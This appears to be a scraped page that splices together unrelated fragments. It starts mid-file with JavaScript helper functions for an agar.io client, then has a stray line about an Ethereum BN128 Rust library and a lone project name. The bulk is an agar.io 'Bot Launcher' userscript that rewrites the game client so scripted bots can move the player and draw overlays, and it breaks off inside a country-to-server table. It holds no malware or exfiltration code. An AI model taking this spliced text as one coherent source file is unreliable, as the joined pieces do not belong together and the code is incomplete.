return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.getServer = function() { return serverIP; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.botList = window.botList || []; window.jQuery('#locationUnknown').text(""); window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); for (var i = 0; i < w
ewasm
Ethereum's BN128 helpers for Rust.
DorazeExplorer
// ==UserScript== // @name Launcher // @namespace AposLauncher // @include http://agar.io/ // @version 2.1 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== Number.prototype.mod = function(n) { return ((this%n)+n)%n; }; Array.prototype.peek = function() { return this[this.length-1]; } console.log("Running Bot Launcher!"); (function (h, f) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function Sa() { //UPDATE if (window.botList == null) { window.botList = []; window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); } window.botList.push(["Human", humanPlayer]); var bList = window.jQuery('#bList'); window.jQuery('<option />', {value: (window.botList.length - 1), text: "Human"}).appendTo(bList); la = !0; za(); setInterval(za, 180000); B = ma = document.getElementById('canvas'); e = B.getContext('2d'); B.onmousedown = function (a) { if (Aa) { var b = a.clientX - (5 + p / 5 / 2), c = a.clientY - (5 + p / 5 / 2); if (Math.sqrt(b * b + c * c) <= p / 5 / 2) { K(); C(17); return } } T = a.clientX; U = a.clientY; na(); K() }; B.onmousemove = function (a) { T = a.clientX; U = a.clientY; na() }; B.onmouseup = function () { }; /firefox/i.test(navigator.userAgent) ? document.addEventListener('DOMMouseScroll', Ba, !1) : document.body.onmousewheel = Ba; var a = !1, b = !1, c = !1; h.onkeydown = function (d) { 32 != d.keyCode || a || (K(), C(17), a = !0); 81 != d.keyCode || b || (C(18), b = !0); 87 != d.keyCode || c || (K(), C(21), c = !0); 27 == d.keyCode && Ca(!0); //UPDATE keyAction(d); }; h.onkeyup = function (d) { 32 == d.keyCode && (a = !1); 87 == d.keyCode && (c = !1); 81 == d.keyCode && b && (C(19), b = !1) }; h.onblur = function () { C(19); c = b = a = !1 }; h.onresize = Da; Da(); h.requestAnimationFrame ? h.requestAnimationFrame(Ea) : setInterval(oa, 1000 / 60); setInterval(K, 40); v && f('#region').val(v); Fa(); V(f('#region').val()); null == r && v && W(); f('#overlays').show() } function Ba(a) { D *= Math.pow(0.9, a.wheelDelta / - 120 || a.detail || 0); 1 > D && (D = 1); D > 4 / g && (D = 4 / g) } function Ta() { if (0.4 > g) L = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, d = Number.NEGATIVE_INFINITY, e = 0, l = 0; l < u.length; l++) { var k = u[l]; !k.I() || k.M || 20 >= k.size * g || (e = Math.max(k.size, e), a = Math.min(k.x, a), b = Math.min(k.y, b), c = Math.max(k.x, c), d = Math.max(k.y, d)) } L = Ua.ca({ X: a - (e + 100), Y: b - (e + 100), fa: c + (e + 100), ga: d + (e + 100), da: 2, ea: 4 }); for (l = 0; l < u.length; l++) if (k = u[l], k.I() && !(20 >= k.size * g)) for (a = 0; a < k.a.length; ++a) b = k.a[a].x, c = k.a[a].y, b < s - p / 2 / g || c < t - q / 2 / g || b > s + p / 2 / g || c > t + q / 2 / g || L.i(k.a[a]) } } function na() { //UPDATE if (toggle ||window.botList[botIndex][0] == "Human") { X = (T - p / 2) / g + s; Y = (U - q / 2) / g + t } } function za() { null == Z && (Z = { }, f('#region').children().each(function () { var a = f(this), b = a.val(); b && (Z[b] = a.text()) })); f.get($ + '//m.agar.io/info', function (a) { var b = { }, c; for (c in a.regions) { var d = c.split(':') [0]; b[d] = b[d] || 0; b[d] += a.regions[c].numPlayers } for (c in b) f('#region option[value="' + c + '"]').text(Z[c] + ' (' + b[c] + ' players)') }, 'json') } function Ga() { f('#adsBottom').hide(); f('#overlays').hide(); Fa() } function V(a) { a && a != v && (f('#region').val() != a && f('#region').val(a), v = h.localStorage.location = a, f('.region-message').hide(), f('.region-message.' + a).show(), f('.btn-needs-server').prop('disabled', !1), la && W()) } function Ca(a) { E = null; f('#overlays').fadeIn(a ? 200 : 3000); a || f('#adsBottom').fadeIn(3000) } function Fa() { f('#region').val() ? h.localStorage.location = f('#region').val() : h.localStorage.location && f('#region').val(h.localStorage.location); f('#region').val() ? f('#locationKnown').append(f('#region')) : f('#locationUnknown').append(f('#region')) } function pa() { console.log('Find ' + v + M); f.ajax($ + '//m.agar.io/', { error: function () { setTimeout(pa, 1000) }, success: function (a) { a = a.split('\n'); '45.79.222.79:443' == a[0] ? pa() : Ha('ws://' + a[0]) }, dataType: 'text', method: 'POST', cache: !1, crossDomain: !0, data: v + M || '?' }) } function W() { la && v && (f('#connecting').show(), pa()) } function Ha(a) { if (r) { r.onopen = null; r.onmessage = null; r.onclose = null; try { r.close() } catch (b) { } r = null } var c = h.location.search.slice(1); /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+$/.test(c) && (a = 'ws://' + c); Va && (a = a.split(':'), a = a[0] + 's://ip-' + a[1].replace(/\./g, '-').replace(/\//g, '') + '.tech.agar.io:' + ( + a[2] + 2000)); F = [ ]; m = [ ]; z = { }; u = [ ]; H = [ ]; A = [ ]; w = x = null; I = 0; console.log('Connecting to ' + a); //UPDATE serverIP = a; r = new WebSocket(a); r.binaryType = 'arraybuffer'; r.onopen = Wa; r.onmessage = Xa; r.onclose = Ya; r.onerror = function () { console.log('socket error') } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { r.send(a.buffer) } function Wa() { var a; aa = 500; f('#connecting').hide(); console.log('socket open'); a = N(5); a.setUint8(0, 254); a.setUint32(1, 4, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 673720361, !0); O(a); Ia() } function Ya() { console.log('socket close'); setTimeout(W, aa); aa *= 1.5 } function Xa(a) { Za(new DataView(a.data)) } function Za(a) { function b() { for (var b = ''; ; ) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: $a(a, c); break; case 17: P = a.getFloat32(c, !0); c += 4; Q = a.getFloat32(c, !0); c += 4; R = a.getFloat32(c, !0); c += 4; break; case 20: m = [ ]; F = [ ]; break; case 21: qa = a.getInt16(c, !0); c += 2; ra = a.getInt16(c, !0); c += 2; sa || (sa = !0, ba = qa, ca = ra); break; case 32: F.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != x) break; var d = a.getUint32(c, !0), c = c + 4; A = [ ]; for (var e = 0; e < d; ++e) { var l = a.getUint32(c, !0), c = c + 4; A.push({ id: l, name: b() }) } Ja(); break; case 50: x = [ ]; d = a.getUint32(c, !0); c += 4; for (e = 0; e < d; ++e) x.push(a.getFloat32(c, !0)), c += 4; Ja(); break; case 64: da = a.getFloat64(c, !0), c += 8, ea = a.getFloat64(c, !0), c += 8, fa = a.getFloat64(c, !0), c += 8, ga = a.getFloat64(c, !0), c += 8, P = (fa + da) / 2, Q = (ga + ea) / 2, R = 1, 0 == m.length && (s = P, t = Q, g = R) } } function $a(a, b) { G = + new Date; var c = Math.random(); ta = !1; var d = a.getUint16(b, !0); b += 2; for (var e = 0; e < d; ++e) { var l = z[a.getUint32(b, !0)], k = z[a.getUint32(b + 4, !0)]; b += 8; l && k && (k.S(), k.p = k.x, k.q = k.y, k.o = k.size, k.D = l.x, k.F = l.y, k.n = k.size, k.L = G) } for (e = 0; ; ) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++e; var h, l = a.getInt16(b, !0); b += 2; k = a.getInt16(b, !0); b += 2; h = a.getInt16(b, !0); b += 2; for (var g = a.getUint8(b++), f = a.getUint8(b++), p = a.getUint8(b++), g = (g << 16 | f << 8 | p).toString(16); 6 > g.length; ) g = '0' + g; var g = '#' + g, f = a.getUint8(b++), p = !!(f & 1), r = !!(f & 16); f & 2 && (b += 4); f & 4 && (b += 8); f & 8 && (b += 16); for (var q, n = ''; ; ) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; z.hasOwnProperty(d) ? (n = z[d], n.K(), n.p = n.x, n.q = n.y, n.o = n.size, n.color = g) : (n = new Ka(d, l, k, h, g, q), n.ka = l, n.la = k); n.d = p; n.j = r; n.D = l; n.F = k; n.n = h; n.ja = c; n.L = G; n.W = f; q && n.Z(q); - 1 != F.indexOf(d) && - 1 == m.indexOf(n) && (document.getElementById('overlays').style.display = 'none', m.push(n), 1 == m.length && (s = n.x, t = n.y)) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function (element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); if (isRemoved && (getLastUpdate() - interNodes[element].L) > 3000) { delete interNodes[element]; } else if (isRemoved && computeDistance(getOffsetX(), getOffsetY(), interNodes[element].x, interNodes[element].y) < screenDistance()) { //console.log("Too close! Remove " + computeDistance(getOffsetX(), getOffsetY(), interNodes[element].x, interNodes[element].y) + " || " + screenDistance()); delete interNodes[element]; } }); c = a.getUint32(b, !0); b += 4; for (e = 0; e < c; e++) d = a.getUint32(b, !0), b += 4, n = z[d], null != n && n.S(); //ta && 0 == m.length && Ca(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } function screenDistance() { return Math.min(computeDistance (getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance (getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } function screenToGameX(x) { return (x - getWidth() / 2) / getRatio() + getX(); } function screenToGameY(y) { return (y - getHeight() / 2) / getRatio() + getY();; } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function K() { //UPDATE if (getPlayer().length == 0) { setNick(originalName); } var a; if (ua()) { a = T - p / 2; var b = U - q / 2; 64 > a * a + b * b || 0.01 > Math.abs(La - X) && 0.01 > Math.abs(Ma - Y) || (La = X, Ma = Y, a = N(21), a.setUint8(0, 16), a.setFloat64(1, X, !0), a.setFloat64(9, Y, !0), a.setUint32(17, 0, !0), O(a)) } } function Ia() { if (ua() && null != E) { var a = N(1 + 2 * E.length); a.setUint8(0, 0); for (var b = 0; b < E.length; ++b) a.setUint16(1 + 2 * b, E.charCodeAt(b), !0); O(a) } } function ua() { return null != r && r.readyState == r.OPEN } function C(a) { if (ua()) { var b = N(1); b.setUint8(0, a); O(b) } } function Ea() { oa(); h.requestAnimationFrame(Ea) } function Da() { p = h.innerWidth; q = h.innerHeight; ma.width = B.width = p; ma.height = B.height = q; oa() } function Na() { var a; a = 1 * Math.max(q / 1080, p / 1920); return a *= D } function ab() { if (0 != m.length) { for (var a = 0, b = 0; b < m.length; b++) a += m[b].size; a = Math.pow(Math.min(64 / a, 1), 0.4) * Na(); g = (9 * g + a) / 10 } } function oa() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++bb; G = b; if (0 < m.length) { ab(); for (var c = a = 0, d = 0; d < m.length; d++) m[d].K(), a += m[d].x / m.length, c += m[d].y / m.length; P = a; Q = c; R = g; s = (s + a) / 2; t = (t + c) / 2 } else s = (29 * s + P) / 30, t = (29 * t + Q) / 30, g = (9 * g + R * Na()) / 10; Ta(); na(); va || e.clearRect(0, 0, p, q); va ? (e.fillStyle = ha ? '#111111' : '#F2FBFF', e.globalAlpha = 0.05, e.fillRect(0, 0, p, q), e.globalAlpha = 1) : cb(); u.sort(function (a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); e.save(); e.translate(p / 2, q / 2); e.scale(g, g); e.translate( - s, - t); for (d = 0; d < H.length; d++) H[d].T(); for (d = 0; d < u.length; d++) u[d].T(); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex][1](); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(e); if (sa) { ba = (3 * ba + qa) / 4; ca = (3 * ca + ra) / 4; e.save(); e.strokeStyle = '#FFAAAA'; e.lineWidth = 10; e.lineCap = 'round'; e.lineJoin = 'round'; e.globalAlpha = 0.5; e.beginPath(); for (d = 0; d < m.length; d++) e.moveTo(m[d].x, m[d].y), e.lineTo(ba, ca); e.stroke(); e.restore() } e.restore(); w && w.width && e.drawImage(w, p - w.width - 10, 10); I = Math.max(I, db()); //UPDATE sessionScore = Math.max(I, sessionScore); 0 != I && (null == ia && (ia = new ja(24, '#FFFFFF', true,'#000000')), ia.u('Score: ' + ~~(I / 100) + ' || Best Score: ' + ~~(sessionScore / 100) + " || Best time alive: " + bestTime + " seconds"), c = ia.G(), a = c.width, e.globalAlpha = 0.2, e.fillStyle = '#000000', e.fillRect(10, q - 10 - 24 - 10, a + 10, 34), e.globalAlpha = 1, e.drawImage(c, 15, q - 10 - 24 - 5)); eb(); b = Date.now() - b; b > 1000 / 60 ? y -= 0.01 : b < 1000 / 65 && (y += 0.01); 0.4 > y && (y = 0.4); 1 < y && (y = 1) drawStats(e); } //UPDATE function customRender(d) { d.save(); for(var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for(var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for(var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new ja(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, '#000000'); text.u(dText[i]); var textRender = text.G(); d.drawImage(textRender, dPoints[i][0], dPoints[i][1]); } } d.restore(); } function drawStats(d) { var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { nbSeconds = (currentDate.getSeconds() + (currentDate.getMinutes() * 60) + (currentDate.getHours() * 60 * 60)) - (lifeTimer.getSeconds() + (lifeTimer.getMinutes() * 60) + (lifeTimer.getHours() * 60 * 60)); } bestTime = Math.max(nbSeconds, bestTime); var debugStrings = []; debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); debugStrings.push("Server: " + serverIP); debugStrings.push("Survived for: " + nbSeconds + " seconds"); if (getPlayer().length > 0) { debugStrings.push("Location: " + Math.floor(getPlayer()[0].x) + ", " + Math.floor(getPlayer()[0].y)); } var offsetValue = 20; var text = new ja(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.u(debugStrings[i]); var textRender = text.G(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } } function cb() { e.fillStyle = ha ? '#111111' : '#F2FBFF'; e.fillRect(0, 0, p, q); e.save(); e.strokeStyle = ha ? '#AAAAAA' : '#000000'; e.globalAlpha = 0.2; e.scale(g, g); for (var a = p / g, b = q / g, c = - 0.5 + ( - s + a / 2) % 50; c < a; c += 50) e.beginPath(), e.moveTo(c, 0), e.lineTo(c, b), e.stroke(); for (c = - 0.5 + ( - t + b / 2) % 50; c < b; c += 50) e.beginPath(), e.moveTo(0, c), e.lineTo(a, c), e.stroke(); e.restore() } function eb() { if (Aa && wa.width) { var a = p / 5; e.drawImage(wa, 5, 5, a, a) } } function db() { for (var a = 0, b = 0; b < m.length; b++) a += m[b].n * m[b].n; return a } function Ja() { w = null; if (null != x || 0 != A.length) if (null != x || ka) { w = document.createElement('canvas'); var a = w.getContext('2d'), b = 60, b = null == x ? b + 24 * A.length : b + 180, c = Math.min(200, 0.3 * p) / 200; w.width = 200 * c; w.height = b * c; a.scale(c, c); a.globalAlpha = 0.4; a.fillStyle = '#000000'; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = '#FFFFFF'; c = null; c = 'Leaderboard'; a.font = '30px Ubuntu'; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == x) for (a.font = '20px Ubuntu', b = 0; b < A.length; ++b) c = A[b].name || 'An unnamed cell', ka || (c = 'An unnamed cell'), - 1 != F.indexOf(A[b].id) ? (m[0].name && (c = m[0].name), a.fillStyle = '#FFAAAA') : a.fillStyle = '#FFFFFF', c = b + 1 + '. ' + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < x.length; ++b) { var d = c + x[b] * Math.PI * 2; a.fillStyle = fb[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e, l) { u.push(this); z[a] = this; this.id = a; this.p = this.x = b; this.q = this.y = c; this.o = this.size = d; this.color = e; this.a = [ ]; this.l = [ ]; this.R(); this.Z(l) } function ja(a, b, c, d) { a && (this.r = a); b && (this.N = b); this.P = !!c; d && (this.s = d) } var $ = h.location.protocol, Va = 'https:' == $, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], originalName = "NotReallyABot", sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, ma, e, B, p, q, L = null, r = null, s = 0, t = 0, F = [ ], m = [ ], z = { }, u = [ ], H = [ ], A = [ ], T = 0, U = 0, X = - 1, Y = - 1, bb = 0, G = 0, E = null, da = 0, ea = 0, fa = 10000, ga = 10000, g = 1, v = null, Oa = !0, ka = !0, xa = !1, ta = !1, I = 0, ha = !1, Pa = !1, P = s = ~~((da + fa) / 2), Q = t = ~~((ea + ga) / 2), R = 1, M = '', x = null, la = !1, sa = !1, qa = 0, ra = 0, ba = 0, ca = 0, Qa = 0, fb = [ '#333333', '#FF3333', '#33FF33', '#3333FF' ], va = !1, D = 1, Aa = 'ontouchstart' in h && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent), wa = new Image; wa.src = 'img/split.png'; var Ra = document.createElement('canvas'); if ('undefined' == typeof console || 'undefined' == typeof DataView || 'undefined' == typeof WebSocket || null == Ra || null == Ra.getContext || null == h.localStorage) alert('You browser does not support this game, we recommend you to use Firefox to play this'); else { var Z = null; h.setNick = function (a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Ga(); E = a; Ia(); I = 0 }; h.setRegion = V; h.setSkins = function (a) { Oa = a }; h.setNames = function (a) { ka = a }; h.setDarkTheme = function (a) { ha = a }; h.setColors = function (a) { xa = a }; h.setShowMass = function (a) { Pa = a }; h.spectate = function () { E = null; C(1); Ga() }; h.setGameMode = function (a) { a != M && (M = a, W()) }; h.setAcid = function (a) { va = a }; null != h.localStorage && (null == h.localStorage.AB8 && (h.localStorage.AB8 = 0 + ~~(100 * Math.random())), Qa = + h.localStorage.AB8, h.ABGroup = Qa); f.get($ + '//gc.agar.io', function (a) { var b = a.split(' '); a = b[0]; b = b[1] || ''; - 1 == 'DE IL PL HU BR AT UA'.split(' ').indexOf(a) && ya.push('nazi'); - 1 == ['UA'].indexOf(a) && ya.push('ussr'); S.hasOwnProperty(a) && ('string' == typeof S[a] ? v || V(S[a]) : S[a].hasOwnProperty(b) && (v || V(S[a][b]))) }, 'text'); setTimeout(function () { }, 300000); var S = { AF: 'JP-Tokyo', AX: 'EU-London', AL: 'EU-London', DZ: 'EU-London', AS: 'SG-Singapore', AD: 'EU-London', AO: 'EU-London', AI: 'US-Atlanta', AG: 'US-Atlanta', AR: 'BR-Brazil', AM: 'JP-Tokyo', AW: 'US-Atlanta', AU: 'SG-Singapore', AT: 'EU-London', AZ: 'JP-Tokyo', BS: 'US-Atlanta', BH: 'JP-Tokyo', BD: 'JP-Tokyo', BB: 'US-Atlanta', BY: 'EU-London', BE: 'EU-London', BZ: 'US-Atlanta', BJ: 'EU-London', BM: 'US-Atlanta', BT: 'JP-Tokyo', BO: 'BR-Brazil', BQ: 'US-Atlanta', BA: 'EU-London', BW: 'EU-London', BR: 'BR-Brazil', IO: 'JP-Tokyo', VG: 'US-Atlanta', BN: 'JP-Tokyo', BG: 'EU-London', BF: 'EU-London', BI: 'EU-London', KH: 'JP-Tokyo', CM: 'EU-London', CA: 'US-Atlanta', CV: 'EU-London', KY: 'US-Atlanta', CF: 'EU-London', TD: 'EU-London', CL: 'BR-Brazil', CN: 'CN-China', CX: 'JP-Tokyo', CC: 'JP-Tokyo', CO: 'BR-Brazil', KM: 'EU-London', CD: 'EU-London', CG: 'EU-London', CK: 'SG-Singapore', CR: 'US-Atlanta', CI: 'EU-London', HR: 'EU-London', CU: 'US-Atlanta', CW: 'US-Atlanta', CY: 'JP-Tokyo', CZ: 'EU-London', DK: 'EU-London', DJ: 'EU-London', DM: 'US-Atlanta', DO: 'US-Atlanta', EC: 'BR-Brazil', EG: 'EU-London', SV: 'US-Atlanta', GQ: 'EU-London', ER: 'EU-London', EE: 'EU-London', ET: 'EU-London', FO: 'EU-London', FK: 'BR-Brazil', FJ: 'SG-Singapore', FI: 'EU-London', FR: 'EU-London', GF: 'BR-Brazil', PF: 'SG-Singapore', GA: 'EU-London', GM: 'EU-London', GE: 'JP-Tokyo', DE: 'EU-London', GH: 'EU-London', GI: 'EU-London', GR: 'EU-London', GL: 'US-Atlanta', GD: 'US-Atlanta', GP: 'US-Atlanta', GU: 'SG-Singapore', GT: 'US-Atlanta', GG: 'EU-London', GN: 'EU-London', GW: 'EU-London', GY: 'BR-Brazil', HT: 'US-Atlanta', VA: 'EU-London', HN: 'US-Atlanta', HK: 'JP-Tokyo', HU: 'EU-London', IS: 'EU-London', IN: 'JP-Tokyo', ID: 'JP-Tokyo', IR: 'JP-Tokyo', IQ: 'JP-Tokyo', IE: 'EU-London', IM: 'EU-London', IL: 'JP-Tokyo', IT: 'EU-London', JM: 'US-Atlanta', JP: 'JP-Tokyo', JE: 'EU-London', JO: 'JP-Tokyo', KZ: 'JP-Tokyo', KE: 'EU-London', KI: 'SG-Singapore', KP: 'JP-Tokyo', KR: 'JP-Tokyo', KW: 'JP-Tokyo', KG: 'JP-Tokyo', LA: 'JP-Tokyo', LV: 'EU-London', LB: 'JP-Tokyo', LS: 'EU-London', LR: 'EU-London', LY: 'EU-London', LI: 'EU-London', LT: 'EU-London', LU: 'EU-London', MO: 'JP-Tokyo', MK: 'EU-London', MG: 'EU-London', MW: 'EU-London', MY: 'JP-Tokyo', MV: 'JP-Tokyo', ML: 'EU-London', MT: 'EU-London', MH: 'SG-Singapore', MQ: 'US-Atlanta', MR: 'EU-London', MU: 'EU-London', YT: 'EU-London', MX: 'US-Atlanta', FM: 'SG-Singapore', MD: 'EU-London', MC: 'EU-London', MN: 'JP-Tokyo', ME: 'EU-London', MS: 'US-Atlanta', MA: 'EU-London', MZ: 'EU-London', MM: 'JP-Tokyo', NA: 'EU-London', NR: 'SG-Singapore', NP: 'JP-Tokyo', NL: 'EU-London', NC: 'SG-Singapore', NZ: 'SG-Singapore', NI: 'US-Atlanta', NE: 'EU-London', NG: 'EU-London', NU: 'SG-Singapore', NF: 'SG-Singapore', MP: 'SG-Singapore', NO: 'EU-London', OM: 'JP-Tokyo', PK: 'JP-Tokyo', PW: 'SG-Singapore', PS: 'JP-Tokyo', PA: 'US-Atlanta', PG: 'SG-Singapore', PY: 'BR-Brazil', PE: 'BR-Brazil', PH: 'JP-Tokyo', PN: 'SG-Singapore', PL: 'EU-London', PT: 'EU-London', PR: 'US-Atlanta', QA: 'JP-Tokyo', RE: 'EU-London', RO: 'EU-London', RU: 'RU-Russia', RW: 'EU-London', BL: 'US-Atlanta', SH: 'EU-London', KN: 'US-Atlanta', LC: 'US-Atlanta', MF: 'US-Atlanta', PM: 'US-Atlanta', VC: 'US-Atlanta', WS: 'SG-Singapore', SM: 'EU-London', ST: 'EU-London', SA: 'EU-London', SN: 'EU-London', RS: 'EU-London', SC: 'EU-London', SL: 'EU-London', SG: 'JP-Tokyo', SX: 'US-Atlanta', SK: 'EU-London', SI: 'EU-London', SB: 'SG-Singapore', SO: 'EU-London', ZA: 'EU-London', SS: 'EU-London', ES: 'EU-London', LK: 'JP-Tokyo', SD: 'EU-London', SR: 'BR-Brazil', SJ: 'EU-London', SZ: 'EU-London', SE: 'EU-London', CH: 'EU-London', SY: 'EU-London', TW: 'JP-Tokyo', TJ: 'JP-Tokyo', TZ: 'EU-London', TH: 'JP-Tokyo', TL: 'JP-Tokyo', TG: 'EU-London', TK: 'SG-Singapore', TO: 'SG-Singapore', TT: 'US-Atlanta', TN: 'EU-London', TR: 'TK-Turkey', TM: 'JP-Tokyo', TC: 'US-Atlanta', TV: 'SG-Singapore', UG: 'EU-London', UA: 'EU-London', AE: 'EU-London', GB: 'EU-London', US: { AL: 'US-Atlanta', AK: 'US-Fremont', AZ: 'US-Fremont', AR: 'US-Atlanta', CA: 'US-Fremont', CO: 'US-Fremont', CT: 'US-Atlanta', DE: 'US-Atlanta', FL: 'US-Atlanta', GA: 'US-Atlanta', HI: 'US-Fremont', ID: 'US-Fremont', IL: 